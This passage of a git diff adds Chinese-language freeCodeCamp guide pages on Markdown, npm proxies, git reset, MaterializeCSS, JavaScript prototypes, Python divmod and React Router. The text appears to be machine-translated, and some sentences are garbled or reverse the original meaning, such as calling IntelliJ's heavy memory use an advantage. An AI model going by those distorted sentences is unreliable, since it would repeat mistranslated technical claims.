+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/linking-your-account-with-github/index.md b/client/src/guide/chinese/miscellaneous/linking-your-account-with-github/index.md
new file mode 100644
index 0000000000..87304bdedc
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/linking-your-account-with-github/index.md
@@ -0,0 +1,12 @@
+---
+title: Linking Your Account with Github
+localeTitle: 将您的帐户与Github链接
+---
+2015年8月，我们推动了一些为我们的许多露营者带来麻烦的变化。
+
+如果您无法将GitHub帐户链接到当前帐户，我们建议您执行以下操作：
+
+1）使用您当前的帐户退出并尝试使用GitHub登录。  
+2）检查您的挑战地图。您的帐户应该没有进展。在此处删除该帐户： [http](http://freecodecamp.com/account) ： [//freecodecamp.com/account](http://freecodecamp.com/account)  
+3）以通常的方式登录免费代码营（Facebook，电子邮件等）。你应该看到你原来的进步。  
+3）现在将GitHub添加到该帐户，您应该全部设置。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/links-to-help-with-functional-programming/index.md b/client/src/guide/chinese/miscellaneous/links-to-help-with-functional-programming/index.md
new file mode 100644
index 0000000000..a3df99d724
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/links-to-help-with-functional-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Links to Help with Functional Programming
+localeTitle: 帮助功能编程的链接
+---
+在这里，您将获得很好的链接，以了解有关函数式编程
+
+## 研讨会
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
+
+节点包研讨会。更多信息可以在[nodeschool](http://nodeschool.io/)找到
+
+## 阅读和视频
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/make-useful-apis-in-angularjs/index.md b/client/src/guide/chinese/miscellaneous/make-useful-apis-in-angularjs/index.md
new file mode 100644
index 0000000000..81b72bb27f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/make-useful-apis-in-angularjs/index.md
@@ -0,0 +1,29 @@
+---
+title: Make Useful Apis in Angularjs
+localeTitle: 在Angularjs中制作有用的Apis
+---
+但是，在此之前还有两件事要做，对你有用。假设您要显示与该页面请求的用户名相关的所有_内容_ ：您必须先
+
+1.  在`/server/api/thing/thing.model.js`中的_物品_架构中有“用户名”或“所有者”字段
+    
+2.  在`/server/api/thing/index.js`编写自定义路由以捕获特定用户名的请求。您的前端请求可能类似于：
+    
+    $ http.get（'/ api / things /'+ username）.success（...）
+    
+
+所以你将在`index.js`添加一行，如：
+```
+router.get('/:user', controller.indexUser); 
+```
+
+然后在`thing.controller.js`你会写像这样的_exports.indexUser_功能：
+```
+exports.indexUser = function(req, res) { 
+    Thing.find({owner:req.params.user}, function (err, things) { 
+        if(err) return res.send(500, err); 
+        res.json(200, things); 
+    }); 
+ }; 
+```
+
+警告！！！只有用户名在用户之间绝对唯一时，此方法才有效。 angular-fullstack生成器附带的默认身份验证系统没有唯一的用户名，因此您最好使用该_用户。_ ID\_场来确定唯一的用户在你的数据库现在，除非你想改变你自己实现唯一的用户名`/api/user/user.model.js` ， `/api/user/user.controller.js` ，和你`/app/client/account/signup/signup.controller.js` 。值得庆幸的是，在阅读本指南后，您应该知道如何做到这一切！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/markdown-code-formatting/index.md b/client/src/guide/chinese/miscellaneous/markdown-code-formatting/index.md
new file mode 100644
index 0000000000..0e374f7b44
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/markdown-code-formatting/index.md
@@ -0,0 +1,102 @@
+---
+title: Markdown Code Formatting
+localeTitle: 降价代码格式
+---
+# 降价代码格式
+
+Markdown中有两种格式化代码的方法。您可以使用内联代码，通过在行的某些部分周围添加反引号，也可以使用代码块，某些渲染器将使用语法突出显示。
+
+## 内联代码
+
+您可以使用内联代码格式来强调您正在编写的行中的小命令或语法。
+
+例如，您可能希望提及Javascript的`Array.protoype.map()`函数。通过使用内联代码格式化，很明显这是一段代码。您也可以使用它来说明终端命令，例如`yarn install` 。
+
+要使用内联代码格式化，只需将要格式化的代码包装在反引号中。在标准的美国布局QWERTY键盘上，可以在“1”左侧和“Tab”上方找到它。下面提供了有关国际键盘上反引号位置的更多信息。
+
+例如，在markdown中编写\`Array.prototype.map（）\`将呈现为`Array.prototype.map()` 。
+
+## 代码块
+
+要编写更长或更详细的代码片段，通常最好将它们放在代码块中。代码块允许您使用多行，markdown将在其自己的框中呈现它并使用代码类型字体。
+
+要实现这一点，请使用三个反引号开始你的阻止。这标志着您正在创建一个代码块。你将需要完成另外一行三个反引号。例如：
+
+\`\`\`
+
+var add2 = function（number）{
+
+返回号码+2;
+
+}
+
+\`\`\`
+
+将在降价时呈现为：
+```
+var add2 = function(number) { 
+    return number + 2; 
+ } 
+```
+
+虽然markdown本身不支持，但许多降价引擎（包括GitHub使用的引擎）将支持语法突出显示。这意味着通过告诉markdown我们在块中使用的语言，它将添加像IDE一样的颜色。您可以通过在与前三个后面的刻度相同的行中添加语言的名称来完成此操作。在上面的例子中，如果不是第一行是\`\`\`我们使用\`\`\`js，那么突出显示将应用于我们的块。
+
+```js
+var add2 = function(number) { 
+    return number + 2; 
+ } 
+```
+
+这可以应用于不仅仅是javascript。我可以用\`\`\`html：
+
+```html
+
+<div class="row"> 
+    <div class="col-md-6 col-md-offset-3"> 
+        <h1>Hello World</h1> 
+    </div> 
+ </div> 
+```
+
+\`\`\`红宝石：
+
+```ruby
+"Hello World".split('').each do |letter| 
+    puts letter 
+ end 
+```
+
+或\`\`\`python：
+
+```python
+a, b = 0, 1 
+ while b < 10: 
+    print(b) 
+    a, b = a, a + b 
+```
+
+加上许多其他人。但请记住，并非所有降价引擎都会应用语法高亮显示。
+
+## 键入反引号
+
+在不同的键盘上，反引键的位置可能不同，如果你没有使用美国布局QWERTY键盘，可能很难找到。 [这个](http://superuser.com/a/254077/122424)有用的指南列出了一些查找反引号键的方法，我们在下面收集了这些方法。
+
+#### QWERTY和QWERTZ（标有红色边框的键）
+
+![QWERTY](//discourse-user-assets.s3.amazonaws.com/optimized/2X/a/a7daf1d707e12e207d47f0eb70ba01d97ffd1924_1_690x327.png)
+
+#### AZERTY France（ Alt Gr + Key，标有红色边框）
+
+![AZERTY](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f65c339ce4eefd9d79841f3dc54f4c37cab2e77.png)
+
+#### AZERTY比利时（ Alt Gr + Key，标有红色边框）
+
+![在此处输入图像描述](//discourse-user-assets.s3.amazonaws.com/original/2X/d/de291f0895b0fed992726a62d654f4e1f0e421f3.png)
+
+#### QWERTY爱沙尼亚语（已标有红色边框的钥匙）
+
+![爱沙尼亚语键盘布局](//discourse-user-assets.s3.amazonaws.com/optimized/2X/0/089b26510b1dcc7553625ba162582cf55837b6cd_1_690x230.png)
+
+### 替代码
+
+最后，反引号键有一个alt代码，可以在任何键盘上使用。如果在键盘上找不到反引号键，可以按住Alt键，然后按9，然后按6（Alt + 9,6）。这将插入一个反引号。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md b/client/src/guide/chinese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
new file mode 100644
index 0000000000..94716877ad
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
@@ -0,0 +1,63 @@
+---
+title: MaterializeCSS Framework as an Alternative to Bootstrap
+localeTitle: MaterializeCSS框架作为Bootstrap的替代方案
+---
+[MaterialiseCSS](http://materializecss.com/)是一个基于谷歌的[Material Design原则](https://www.google.com/design/spec/material-design/introduction.html)的现代响应式前端框架。
+
+## 什么是材料设计？
+
+Material Design（代号为Quantum Paper）是由Google开发的设计系统。扩展了Google Now中推出的“卡片”图案，Material Design更加自由地使用基于网格的布局，响应式动画和过渡，填充以及光照和阴影等深度效果。
+
+该[视频](https://www.youtube.com/watch?v=Q8TXgCzxEnw)让您了解材料设计：
+
+## 查看这些使用Materialise的网站，看看与您习惯的不同之处！
+
+也可以在手机上测试它们以获得更好的感觉。
+
+*   [100](https://www.100xp.io/)
+    
+*   [管理主题](http://demo.geekslabs.com/materialize/v2.1/)
+    
+*   [StrapHq](http://www.straphq.com/)
+    
+
+[这里有](http://materializecss.com/showcase.html)更多例子
+
+## 一个Bootstrap替代品，真的吗？
+
+在我看来，冷静，没有什么比击败Bootstrap更好的了。然而，物化CSS只提供了物化 - 物化 - 与界面互动的感觉，就好像它是一种物理材料，就像纸一样。我想出了那个。
+
+但真的......
+
+我喜欢实现，因为它简单，例如：
+
+在Bootstrap中，您可以执行此操作来创建按钮
+```
+<button class="btn btn-primary btn-lg"> 
+ My Button 
+ </button> 
+```
+
+基本上每个类名都反复附加btn-。对于许多其他引导组件而言，这种情况大多是这种情况，尤其是当您想要添加颜色等简单类时。
+
+使用Materialize，您可以像下面这样添加所有类：
+```
+<button class="btn waves-effect waves-light green">My Button</a> 
+```
+
+如您所见，btn-的使用已经减少。 `green`类可以与除本例中显示的`button`之外的任何/所有其他HTML元素一起使用。
+
+还有另一个更轻的版本的材料设计框架，但它不像materializeCSS框架那样优雅或简单除了这个简单性，这里有更多我喜欢materializeCSS的原因：
+
+*   这很简单！ - 只是强调
+*   它是开源的，你可以在这里git
+*   一个社区也在围绕它发展
+*   [有人](http://fezvrasta.github.io/bootstrap-material-design/)希望生成Bootstrap + Materialize的混合物。 Sweeet！
+
+## 还要别的吗？
+
+尝试一下，也许你会喜欢它。事实上，即使Android UI已经开始，这可能是一个很好的方式来让自己更好地在面向移动设备的网络应用程序（如[渐进式网络应用程序）的](https://developers.google.com/web/fundamentals/getting-started/your-first-progressive-web-app/#what-will-you-learn) Material设计
+
+### 也许你不应该使用它......
+
+它在alpha阶段正在发生变化。所以你可以跳过它，不要在关键项目上使用它，直到它成熟为止。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/mozilla-developer-network-mdn/index.md b/client/src/guide/chinese/miscellaneous/mozilla-developer-network-mdn/index.md
new file mode 100644
index 0000000000..8c4ff44b5a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/mozilla-developer-network-mdn/index.md
@@ -0,0 +1,9 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: Mozilla开发者网络（MDN）
+---
+## Mozilla开发者网络（MDN）
+
+[MDN](https://developer.mozilla.org/)是Web技术和支持Web的软件的学习平台。
+
+MDN的目标是为开发人员提供在开放Web上轻松构建项目所需的信息。如果它是一种暴露于Web的开放技术，MDN希望将其记录下来。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/mozilla-developer-network/index.md b/client/src/guide/chinese/miscellaneous/mozilla-developer-network/index.md
new file mode 100644
index 0000000000..b56383d09f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/mozilla-developer-network/index.md
@@ -0,0 +1,14 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: Mozilla开发者网络（MDN）
+---
+！\[MDN Web DOcs\]（ https://res.infoq.com/news/2017/06/mdn-web-documentation-update/en/resources/logo-600x154.png“MDN”）
+
+Mozilla Developer Network，也称为MDN，是开发人员免费获取Web标准文档的资源，如HTML5，CSS，JavaScript，Web API，图形（画布，SVG，WebGL），MathML，Web Assembly等。
+
+开发人员和其他贡献者社区使MDN保持最新状态。
+
+参考
+
+*   [MDN（官方）](https://developer.mozilla.org/en-US/)
+*   [MDN（维基百科）](https://en.wikipedia.org/wiki/MDN_Web_Docs)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/npm-behind-a-proxy-server/index.md b/client/src/guide/chinese/miscellaneous/npm-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..dadf76f290
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/npm-behind-a-proxy-server/index.md
@@ -0,0 +1,43 @@
+---
+title: Npm Behind a Proxy Server
+localeTitle: Npm在代理服务器后面
+---
+## 用例
+
+您可能需要修改访问远程存储库（例如[npmjs](https://www.npmjs.com/) ）的`npm install`命令以安装Node JS模块;如果您的互联网访问是通过[代理服务器](https://en.wikipedia.org/wiki/Proxy_server) 。
+
+代理服务器在大学和商业类型环境中很常见。
+
+您可以从浏览器的设置面板中[找到代理设置](http://www.wikihow.com/Change-Proxy-Settings) 。
+
+## 使用Proxy与NPM
+
+获得代理设置（服务器URL，端口，用户名和密码）后;您需要按如下方式配置`npm`配置。
+```
+$ npm config set proxy http://<username>:<password>@<proxy-server-url>:<port> 
+ $ npm config set https-proxy http://<username>:<password>@<proxy-server-url>:<port> 
+```
+
+您必须使用特定于代理服务器凭据的值替换`<username>` ， `<password>` ， `<proxy-server-url>` ， `<port>` 。
+
+这些字段是可选的。例如，您的代理服务器可能甚至不需要`<username>`和`<password>` ，或者它可能在端口80上运行（在这种情况下，不需要`<port>` ）。
+
+一旦你设置了这些，你的`npm install` ， `npm i -g`等将正常工作。
+
+## 何时不使用
+
+如果发生以下任一情况，则不`npm`命令与代理设置一起使用：
+
+> *   例如，您的系统管理员或公司策略不允许您从NPM-JS访问远程`npm`存储库。
+> *   有问题的Node模块的远程存储库不在您的计算机中，但它位于内部网络中。
+
+## 取消设置代理设置
+
+使用[此](http://luxiyalu.com/how-to-remove-all-npm-proxy-settings/)博客文章取消设置代理设置。您还可以从`.npmrc` [文件中](https://docs.npmjs.com/files/npmrc)手动删除指定代理设置的行。
+
+## 资源
+
+您可以使用以下资源进一步阅读： -
+
+> *   [我可以在代理服务器后面登录吗？](https://github.com/npm/npm/issues/9401#issuecomment-134569585)
+> *   [企业代理背后的NPM](http://intenseagile.com/2015/09/04/npm-behind-proxy.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/online-vs-offline-ides/index.md b/client/src/guide/chinese/miscellaneous/online-vs-offline-ides/index.md
new file mode 100644
index 0000000000..37fcc53e26
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/online-vs-offline-ides/index.md
@@ -0,0 +1,44 @@
+---
+title: Online vs Offline IDEs
+localeTitle: 在线vs离线IDE
+---
+## 离线IDE
+
+程序员使用了几个离线**IDE** ，以便在工作中保持更高的学习效率和更高的工作效率。
+
+*   [**Eclipse**](https://www.app5.unisys.com/offerings/ClearPathConnection/eclipse.html)不仅仅是一个Java编辑器。它最大的优点是通过tabbing方法完成代码，在编写文档时节省了大量时间。
+
+它有一个内置的语法检查，可以在编写项目时修复任何输入错误的单词。我们期望IDE的功能包括代码完成，模板，与各种SCMS的集成以及与构建系统的集成。
+
+IDE的代码格式化和清理工具非常强大。我发现它的构建系统运行良好且直观。我认为这些是其声誉真正建立的事物。
+
+此外，它还具有重构功能，查找和替换功能，特定项目的变量和类。
+
+*   [**NetBeans**](https://netbeans.org/features/)是一个免费的直观编辑器，可以完成所有工作。它有一个简单的“Swing GUI”设计工具，可以通过拖放组件（例如按钮或文本框）来构建用户界面。
+
+一个_缺点_是，与其他IDE相比，其所有功能的加载时间都在增加，并且正在使用更多的内存。
+
+*   [**IntelliJ IDEA**](https://www.jetbrains.com/idea/)是最有效的离线编辑器，但它不是免费的。它比大多数编辑更快，但它有很多问题。一个主要优点是它使用了太多内存。
+    
+*   [**BlueJ**](http://www.bluej.org/)是一个简单的编辑器，主要用于教java和面向对象的编程。这个编辑器与其他IDE并排比较的主要优点是它不需要主方法来运行程序。
+    
+
+## 在线IDE
+
+*   [**CodeRun Studio**](http://www.webappers.com/2009/12/04/coderun-studio-free-cross-platform-online-ide/)是一个在线IDE，可用于构建Web应用程序。它允许您在线运行和测试代码。
+
+此IDE允许您在需要付费才能继续使用它之前将其用于14天的试用期。在试用期间，“保存”功能也被禁用，这使得使用该程序变得更加困难。
+
+*   [**Cloud9 IDE**](https://c9.io) Cloud9 IDE是一个开源，3.0版及更高版本的在线集成开发环境。它支持数百种编程语言，包括PHP，Ruby，Perl，Python，带Node.js的JavaScript和Go。它使开发人员能够立即开始使用预设工作区进行编码，使用协作编码功能与同行协作，以及实时预览（“WYSIWYG”或“所见即所得”）和浏览器兼容性测试等Web开发功能。
+
+它几乎完全用JavaScript编写，并在后端使用Node.js.编辑器组件使用Ace。截至2014年7月，它使用Docker容器作为其工作区，并托管在Google Compute Engine上。
+
+Cloud9 IDE，Inc。是积极维护Cloud9 IDE的公司。该公司在旧金山和阿姆斯特丹设有办事处。
+
+## 结论
+
+在线编辑和离线编辑之间存在一些差异。
+
+离线IDE可能对程序员而不是在线IDE更有利。大型项目不仅会占用大量内存而导致计算机速度变慢。如果您在团队中工作，则需要相当快速的Internet连接才能快速推送更新的代码。如果存在重大风暴且您的互联网连接受其影响，则在使用在线IDE时，将导致您的项目未完成且不完整。
+
+在线IDE的唯一优势是可以在任何地方访问项目，无需设置和配置。没有硬件限制，因为所有信息都存储在云中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/openid-connect-implicit-flow/index.md b/client/src/guide/chinese/miscellaneous/openid-connect-implicit-flow/index.md
new file mode 100644
index 0000000000..78b3f1c228
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/openid-connect-implicit-flow/index.md
@@ -0,0 +1,9 @@
+---
+title: OpenID Connect Implicit Flow
+localeTitle: OpenID Connect Implicit Flow
+---
+## OpenID Connect Implicit Flow
+
+为基于浏览器的应用程序提供一种机制，以获取OAuth令牌以与后端服务进行交互。
+
+具体链接到：http：//openid.net/specs/openid-connect-implicit-1\_0.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/organize-local-group-events/index.md b/client/src/guide/chinese/miscellaneous/organize-local-group-events/index.md
new file mode 100644
index 0000000000..8d7204893b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/organize-local-group-events/index.md
@@ -0,0 +1,22 @@
+---
+title: Organize Local Group Events
+localeTitle: 组织本地小组活动
+---
+面对面的团队编程会议和活动很有趣！
+
+## 此Wiki将帮助您组织成功的本地组活动。
+
+通过一些规划和沟通，成功的本地团体活动可以很容易！以下是帮助您完成此操作的一些步骤：
+
+*   确定事件的主题（代码和咖啡，黑客会话，邀请露营者到另一个组织的活动）。
+    
+*   找到合适的位置。本地小组活动应始终在公共场所（图书馆，咖啡馆，黑客空间）进行。
+    
+*   在本地组的Facebook页面上为活动创建活动，并在本地组Facebook组页面上链接到该活动。
+    
+*   在活动开始前一周跟进活动的提醒帖子，然后在活动前一天跟进。
+    
+*   活动当天，提前到达，安排，迎接会员，并举办活动。之后不要忘记感谢所有人，并为将来的聚会提供邀请。
+    
+
+**尝试拍摄一些照片并将其发布在Local Group的Facebook群组页面上。**
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/override-local-files-with-git-pull/index.md b/client/src/guide/chinese/miscellaneous/override-local-files-with-git-pull/index.md
new file mode 100644
index 0000000000..c4e5075d6c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/override-local-files-with-git-pull/index.md
@@ -0,0 +1,48 @@
+---
+title: Override Local Files with Git Pull
+localeTitle: 使用Git Pull覆盖本地文件
+---
+# 什么时候需要覆盖本地文件？
+
+如果您觉得需要丢弃所有本地更改，只需使用远程分支中的副本重置/覆盖所有内容，则应遵循本指南。
+
+重要提示：如果您有任何本地更改，它们将丢失。无论有没有`--hard`选项，任何未被推送的本地提交都将丢失。  
+如果您有任何未被Git跟踪的文件（例如上传的用户内容），则这些文件不会受到影响。
+
+## 覆盖工作流程：
+
+要覆盖本地文件，请执行以下操作：
+```
+git fetch --all 
+ git reset --hard <remote>/<branch_name> 
+```
+
+例如：
+```
+git fetch --all 
+ git reset --hard origin/master 
+```
+
+## 这个怎么运作：
+
+`git fetch`从远程下载最新版本而不尝试合并或重新绑定任何内容。
+
+然后git reset将master分支重置为刚刚获取的分支。 `--hard`选项更改工作树中的所有文件以匹配`origin/master`中的文件。
+
+## 附加信息：
+
+值得注意的是，可以通过在重置之前从`master`或要处理的任何分支创建分支来维护当前的本地提交：
+
+例如：
+```
+git checkout master 
+ git branch new-branch-to-save-current-commits 
+ git fetch --all 
+ git reset --hard origin/master 
+```
+
+在此之后，所有旧提交将保留在`new-branch-to-save-current-commits` 。然而，未提交的更改（即使是暂存的）也将丢失。确保存储并提交您需要的任何内容。
+
+## 归因：
+
+_这篇文章是基于一个堆栈溢出问题[在这里](http://stackoverflow.com/questions/1125968/force-git-to-overwrite-local-files-on-pull/8888015#8888015)_
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/programming-fundamentals/index.md b/client/src/guide/chinese/miscellaneous/programming-fundamentals/index.md
new file mode 100644
index 0000000000..4873ca8af3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/programming-fundamentals/index.md
@@ -0,0 +1,8 @@
+---
+title: Programming Fundamentals
+localeTitle: 编程基础
+---
+> 先做，然后做正确，然后做得更好。这是我在开发任何东西时始终牢记的一个基本原则。  
+> 如果您是一名希望学习新知识的开发人员，无论技能水平如何，请记住，尽管阅读起来同样重要，但同样重要的是要做到这_一点_ 。  
+> 创建一个新的要点或JSBin，弹出打开控制台并进行实验。这很有趣。  
+> \- [Addy Osmani](http://addyosmani.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/programming-methodology/index.md b/client/src/guide/chinese/miscellaneous/programming-methodology/index.md
new file mode 100644
index 0000000000..efd0bac5bb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/programming-methodology/index.md
@@ -0,0 +1,27 @@
+---
+title: Programming Methodology
+localeTitle: 编程方法论
+---
+### 基础敏捷原则
+
+**_流程和工具上的_** **_个人和互动_**
+
+**_工作软件_** **_综合_**
+
+**_合同谈判中的_** **_客户协作_**
+
+**_响应变更_** **_遵循计划_**
+
+## 用户故事
+
+用户故事帮助我们将用户的需求直接与我们以对话格式实现的功能联系起来。他们**总是**遵循这样的语法： _“作为用户/利益相关者，我需要/希望能够做某事”_ 。这可能会导致“明显”功能的一些尴尬故事，如_“作为用户，我需要能够相信我的信用卡信息是安全的”。_但是，为了让我们能够有效地将工作分解成可管理的部分，所有功能必须与故事联系起来。
+
+## 冲刺
+
+“Sprint”是一个短暂的（1-3周）开发周期，在此期间，许多故事或子任务的目标是在sprint结束时完成。 “短跑”背后的想法是让我们向项目冠军**提供**一个故事以供反馈/批准。这个迭代工作流程确保我们从项目冠军那里获得持续的支持，并且我们提供的功能既有效又有价值。
+
+## SCRUM
+
+在基础层面，SCRUM帮助我们保持专注并了解每个指定任务的状态以及打破沟通障碍。在许多专业设置中，工作日以“每日Scrum”开头。我们将遵循每周一次的争议，以配合我们的冲刺。常见的Scrum失败是在scrum期间尝试解决问题。故障排除和头脑风暴应始终作为SCRUM的单独任务完成。
+
+[在这里](http://scrummethodology.com/)阅读更多。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/project-tribute-page-tips/index.md b/client/src/guide/chinese/miscellaneous/project-tribute-page-tips/index.md
new file mode 100644
index 0000000000..45109d6b63
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/project-tribute-page-tips/index.md
@@ -0,0 +1,33 @@
+---
+title: Project Tribute Page Tips
+localeTitle: 项目致敬页面提示
+---
+这可能是您创建的第一个完整网页。以下提示可帮助您开始使用此功能：
+
+## 列出功能
+
+列出用户故事所需的功能以及您必须满足的任何其他规则。把它们写在一张纸上。将它们放在纸上而不是放在文件中会使设计过程中更快地引用它们。
+
+## 在纸上布局页面
+
+这可能听起来有点傻，但这是开始可视化页面应该是什么样子的好方法。您应该开始的页面元素可以是标题，图像，文本和链接。
+
+## 搜索潜在的主题以表示敬意
+
+选择我！只是开个玩笑。想想一个激励你并且你仰视的人。一个名人。在维基百科上搜索它们，然后查看维基百科文章的来源以供进一步阅读。不要只是将维基百科页面中的文本复制到您的网站中。使文本原始。
+
+## 重温视频并关注所使用的详细布局
+
+更详细地查看示例致敬页面。进入聊天室并请别人为您分享他们的致敬页面。在线搜索有趣的网页设计，看看你可以复制什么。那里有很多很棒的景点。
+
+## 使用规则中建议的库。 Bootstrap是一个库
+
+规则2规定您可以使用您需要的库。为了节省您的时间，精力和困惑，bootstrap是一个库。
+
+## 您的外部链接无法正常工作
+
+按照视频末尾的说明添加到超链接中的内容。这应该工作。
+
+## 将图像添加到页面
+
+请注意，不要只复制您找到的任何图像。这可能会侵犯某人的版权。在[免费图像页面](http://www.freeimages.com)上找到图像，然后将其上传到某个位置（例如[photobucket）](http://www.photobucket.com)以获取链接，然后可以使用该链接在页面上插入图像或直接从原始源链接图像。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/pseudoclassical-class-definition/index.md b/client/src/guide/chinese/miscellaneous/pseudoclassical-class-definition/index.md
new file mode 100644
index 0000000000..e53afc8d83
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/pseudoclassical-class-definition/index.md
@@ -0,0 +1,39 @@
+---
+title: Pseudoclassical Class Definition
+localeTitle: 伪古典类定义
+---
+伪经典类定义发生在2个代码块而不是1个代码块中，这种情况发生在Python和PHP等其他语言中。
+
+第一个块称为“构造函数”，它是声明类的属性的地方。这些是每个新实例独有的类的方面。汽车的例子是品牌，颜色和位置可能不同。在第二个代码块中，您声明将由类的每个实例共享的方法。例如汽车可以做的事情，前进，停止，打开门。
+
+## 例
+```
+var Car = function(brand, color, location) { 
+ this.brand = brand; 
+ this.color = color; 
+ this.location = location 
+ }; 
+ 
+ Car.prototype = { 
+ move: function() { this.location++; }, 
+ stop: function() { this.location = 0; }, 
+ }; 
+```
+
+## 说明
+
+在2个块中声明整个类的原因是在开始创建类的实例时节省内存。如果类声明是“功能”样式，则会为**每个**实例创建一个新的方法副本。通过声明类“Pseudoclassical”风格只是方法复制_单个_存储在内存中。
+
+当类的实例尝试访问方法时：
+```
+var x_car = new Car('lexus', 'white', 0); 
+ x_car.move(); 
+```
+
+实际上，解释器_首先_无法在对象本身中找到被调用的方法，因为它是由Car构造函数创建的。如您所见，没有引用Car构造函数中的任何方法。从那里，解释器搜索`Car.prototype` ，现在所有实例之间共享。解释器找到了被调用的方法！
+
+### 进一步阅读：
+
+[纳塔克的博客](https://natacseanc.wordpress.com/2015/08/04/javascript-object-create-and-classes/)
+
+[MDN课程](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md b/client/src/guide/chinese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
new file mode 100644
index 0000000000..2ef5cc6c6e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
@@ -0,0 +1,11 @@
+---
+title: Push a New Local Branch to a Remote Git Repository and Track it Too
+localeTitle: 将新的本地分支推送到远程Git存储库并跟踪它
+---
+1.  创建一个新分支：  
+    `git checkout -b feature_branch_name`
+2.  编辑，添加和提交您的文件。
+3.  将您的分支推送到远程存储库：  
+    `git push -u origin feature_branch_name`
+
+_就这么简单！_
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/python-function-divmod/index.md b/client/src/guide/chinese/miscellaneous/python-function-divmod/index.md
new file mode 100644
index 0000000000..4b1e6a5279
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/python-function-divmod/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Function Divmod
+localeTitle: Python函数Divmod
+---
+# Python `divmod(a,b)`
+
+`divmod()`是Python 3中的内置函数，它在将数字`a`除以数字`b`时返回商和余数。它需要两个数字作为参数`a`和`b` 。这个论点不能是一个复杂的数字。
+
+## 论据
+
+它需要两个参数`a` ＆ `b` - 一个整数或一个十进制数。它不能是一个复数。
+
+## 回报价值
+
+返回值将是对由通过划分获得的商和余数的正数的`a`由`b` 。在混合操作数类型的情况下，将应用二进制算术运算符的规则。  
+对于**整数参数** ，返回值将与`(a // b, a % b)` 。  
+对于**十进制数字参数** ，返回值将与`(q, a % b)` ，其中`q`通常是**math.floor（a / b），**但可能比该值小1。
+
+## 代码示例
+```
+print(divmod(5,2)) # prints (2,1) 
+ print(divmod(13.5,2.5)) # prints (5.0, 1.0) 
+ q,r = divmod(13.5,2.5)  # Assigns q=quotient & r= remainder 
+ print(q) # prints 5.0 because math.floor(13.5/2.5) = 5.0 
+ print(r) # prints 1.0 because (13.5 % 2.5) = 1.0 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [回复吧！](https://repl.it/FGLK/0)
+
+[官方文件](https://docs.python.org/3/library/functions.html#divmod)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/react-router-cheatsheet/index.md b/client/src/guide/chinese/miscellaneous/react-router-cheatsheet/index.md
new file mode 100644
index 0000000000..e1be3c8add
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/react-router-cheatsheet/index.md
@@ -0,0 +1,99 @@
+---
+title: React Router Cheatsheet
+localeTitle: 反应路由器Cheatsheet
+---
+基于[http://ricostacruz.com/cheatsheets/react-router.html，](http://ricostacruz.com/cheatsheets/react-router.html)但针对React Router的v2.0.0进行了更新。
+
+## 基本
+```
+import { render } from 'react-dom' 
+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import RootView and NoMatch 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={RootView} /> 
+    <Route path="*" component={PageNotFound} /> 
+  </Router> 
+ ), document.getElementById('app')) 
+```
+
+## 嵌套
+```
+import React from 'react' 
+ import { render } from 'react-dom' 
